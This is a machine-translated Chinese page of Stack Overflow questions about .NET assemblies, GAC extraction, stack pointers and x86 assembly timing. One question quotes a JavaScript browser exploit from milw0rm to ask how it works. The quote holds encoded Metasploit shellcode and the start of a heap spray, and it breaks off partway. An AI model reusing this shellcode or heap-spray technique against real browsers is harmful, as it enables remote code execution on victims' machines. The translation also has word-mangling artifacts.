Tag: 程序集

C#:为什么要签署一个程序集?

在我接pipe的一些C#代码中(在Visual Studio 2005中),我注意到程序集都使用相同的.snk文件签名。 为什么以前的作者用这种方式签署了议会呢? 签署组件是否必要,什么是不签名? 签署程序集有什么缺点 – 是否会导致延迟?

如何从GAC中提取程序集?

有一个我必须处理的包直接进入GAC的组件(例如,%windows%/ assembly的深处)。 如何从GAC驱动实际的程序集(DLL)到正常的文件系统? 谢谢。

帮我理解这个JavaScript漏洞

我通常没有难以阅读的JavaScript脚本,但这一个我无法弄清楚逻辑。 代码来自4天前发布的漏洞利用。 你可以在milw0rmfind它。 这里是代码: <html> <div id="replace">x</div> <script> // windows/exec – 148 bytes // http://www.metasploit.com // Encoder: x86/shikata_ga_nai // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580"); // ugly heap spray, the d0nkey way! // works most of the time var spray = unescape("%u0a0a%u0a0a"); do { spray += spray; } while(spray.length < 0xd0000); memory = new Array(); […]

什么是使用Assembly Attributes的最佳实践?

我有多个项目的解决scheme。 我正在尝试通过链接一个解决scheme宽的程序集信息文件来优化AssemblyInfo.cs文件。 这样做的最佳做法是什么? 哪些属性应该在解决scheme的宽文件中,哪些是项目/程序集特定的? 编辑:如果你有兴趣有一个后续问题AssemblyVersion,AssemblyFileVersion和AssemblyInformationalVersion之间有什么区别?

我可以在运行时加载一个.NET程序集并实例化只知道名称的types吗?

是否有可能在运行时实例化一个对象,如果我只有DLL名称和类名,而不添加对项目中的程序集的引用? 这个类实现了一个接口,所以一旦我实例化这个类,我就会将它转换到接口。 大会名称: library.dll types名称: Company.Project.Classname 编辑:我没有DLL的绝对path,所以Assembly.LoadFile将无法正常工作。 该DLL可能位于应用程序根目录system32中,甚至可能在GAC中加载。

什么是基指针和堆栈指针? 他们指的是什么?

使用来自维基百科的这个例子 ,其中DrawSquare()调用DrawLine() (请注意,此图在顶部有高地址,顶部是低地址)。 任何人都可以解释一下在这种情况下ebp和esp是什么? 从我看到的,我会说堆栈指针始终指向堆栈的顶部,基指针指向当前函数的开始? 或者是什么? 编辑:我的意思是在Windows程序的上下文中 edit2: eip也是如何工作的? 编辑3:我从MSVC ++有以下代码: var_C= dword ptr -0Ch var_8= dword ptr -8 var_4= dword ptr -4 hInstance= dword ptr 8 hPrevInstance= dword ptr 0Ch lpCmdLine= dword ptr 10h nShowCmd= dword ptr 14h 他们似乎都是dword,因此每个字节占4个字节。 所以我可以看到从实例到4个字节的var_4有差距。 他们是什么? 我认为这是返回地址,可以在维基百科的图片中看到? (编者按:从迈克尔的回答中删除了很长的一句话,这不属于问题的范围,但后续的问题被编辑了): 这是因为函数调用的stream程是: * Push parameters (hInstance, etc.) * Call function, which pushes […]

为什么要引入无用的MOV指令可以加速x86_64程序集中的紧密循环?

背景: 当用embedded汇编语言优化一些Pascal代码时,我注意到一个不必要的MOV指令,并将其删除。 令我惊讶的是,删除不必要的指令导致我的程序放慢速度 。 我发现添加任意的,无用的MOV指令可以进一步提高性能 。 效果是不稳定的,并根据执行顺序进行更改: 相同的垃圾指令由单行上下移动会产生减速 。 我了解CPU可以进行各种优化和精简,但是,这看起来更像黑魔法。 数据: 我的代码版本有条件地编译运行2**20==1048576次循环中间的三个垃圾操作 。 (周围的程序只是计算SHA-256散列)。 我的老机器(Intel(R)Core(TM)2 CPU 6400 @ 2.13 GHz)上的结果如下: avg time (ms) with -dJUNKOPS: 1822.84 ms avg time (ms) without: 1836.44 ms 程序循环运行25次,每次运行顺序随机更改。 摘抄: {$asmmode intel} procedure example_junkop_in_sha256; var s1, t2 : uint32; begin // Here are parts of the SHA-256 algorithm, in Pascal: […]

为什么不是更频繁地使用Assembly编写的程序?

似乎是一个主stream的观点,程序集编程需要更长的时间,比C这样的更高级的语言更难以编程。因此,似乎推荐或假定,由于这些原因,编写更高级的语言更好并且为了更好的便携性。 最近我一直在用x86汇编编写代码,而且我发现可能这些原因不是真的,除了可移植性。 也许这是一个熟悉和知道如何写好汇编的问题。 我还注意到,在汇编中的编程与在HLL中编程完全不同。 也许一个好的和经验丰富的汇编程序员可以像编写C语言的经验丰富的C程序员一样方便快捷地编写程序。 也许是因为程序集编程与HLL完全不同,所以需要不同的思路,方法和方法,这使得编程对于不熟悉的程序来说显得非常尴尬,所以给程序编写不好的名字。 如果可移植性不是问题,那么C对于像NASM这样的好的汇编器会有什么样的影响呢? 编辑:只是要指出。 当你在汇编写作时,你不必写在指令代码中。 您可以使用macros和过程以及您自己的约定来进行各种抽象,以使程序更模块化,更易于维护,更易于阅读。 这是熟悉如何编写好的汇编进来的地方。

我如何获得程序集文件版本

在AssemblyInfo有两个汇编版本: AssemblyVersion :指定要归因的组件版本。 AssemblyFileVersion :指示编译器为Win32文件版本资源使用特定的版本号。 Win32文件版本不需要与程序集的版本号相同。 我可以用下面的代码行得到Assembly Version : Version version = Assembly.GetEntryAssembly().GetName().Version; 但是我怎样才能得到Assembly File Version ?

是否有可能在C#中执行x86汇编序列?

继续我的反向工程教育,我经常希望能够复制部分x86汇编代码,并从我select的高级语言中调用它进行testing。 有谁知道从C#方法调用一系列x86指令的方法吗? 我知道这可以使用C ++来完成,但我很好奇,如果它可以在C#中完成? 注意:我不是在说执行MSIL指令。 我正在谈论执行一系列原始x86汇编指令。